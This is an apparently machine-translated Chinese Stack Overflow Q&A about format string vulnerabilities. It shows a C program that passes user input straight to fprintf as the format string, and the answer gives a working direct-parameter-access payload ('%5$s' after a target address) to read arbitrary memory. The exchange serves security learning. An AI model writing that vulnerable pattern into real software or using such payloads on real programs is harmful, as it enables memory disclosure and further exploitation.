我正在做一些计算机安全研究,我正在尝试了解字符串格式漏洞。我正在运行一个包含以下代码的程序:
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);
当我向程序提供参数“%08x.%08x.%08x.%08x.%08x”(被读入“data”变量)时,我得到输出: 00000020.b7fd7560.08048b09.00000019.78383025
我知道每个十六进制数字都会从堆栈中弹出,并且“78383025”来自缓冲区本身。因此,在到达缓冲区开头之前,我必须弹出 4 个字(16 个字节)。
当我给出参数`perl -e 'print "\x2a\xf9\xff\xbf%08x.%08x.%08x.%08x_%s_";'`
时,% s 部分打印位于内存地址 0xbffff92a 处的字符串。
现在,我想使用直接参数访问来完成此操作。如果我向程序提供参数 `perl -e 'print "\x2a\xf9\xff\xbf%16$s";'`
,我应该期望程序执行与上面相同的操作。但程序打印的只是缓冲区开头的四个字符。那么,什么给了???我是否使用了错误的 DPA 语法???
顺便说一句,我使用的是 Ubuntu 9.04,32 位。
这是一些可编译的代码,但不能保证产生相同的结果:
#include <stdio.h>
void run(const char* data) {
char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf) - 1] = '\0';
fprintf(stderr, buf);
}
int main(int argc, char* argv[]) {
run(argv[1]);
return 0;
}
最佳答案
%16$s
引用格式字符串后的第 16 个参数,并告诉 printf
将其解释为 char*
并将其显示为字符串。
您似乎使用它作为在获取字符串之前跳过 16 个字节的方法,但这并不完全相同。
由于您想要第 5 个参数,请尝试类似以下格式字符串的内容:
"\x2a\xf9\xff\xbf%5$s"
由于您使用 perl -e 'print "...";'
来传递数据,因此您必须转义 $
字符。 IE。 :
./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`
关于c - 直接参数访问不起作用,在 C 中使用 printf,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/7113293/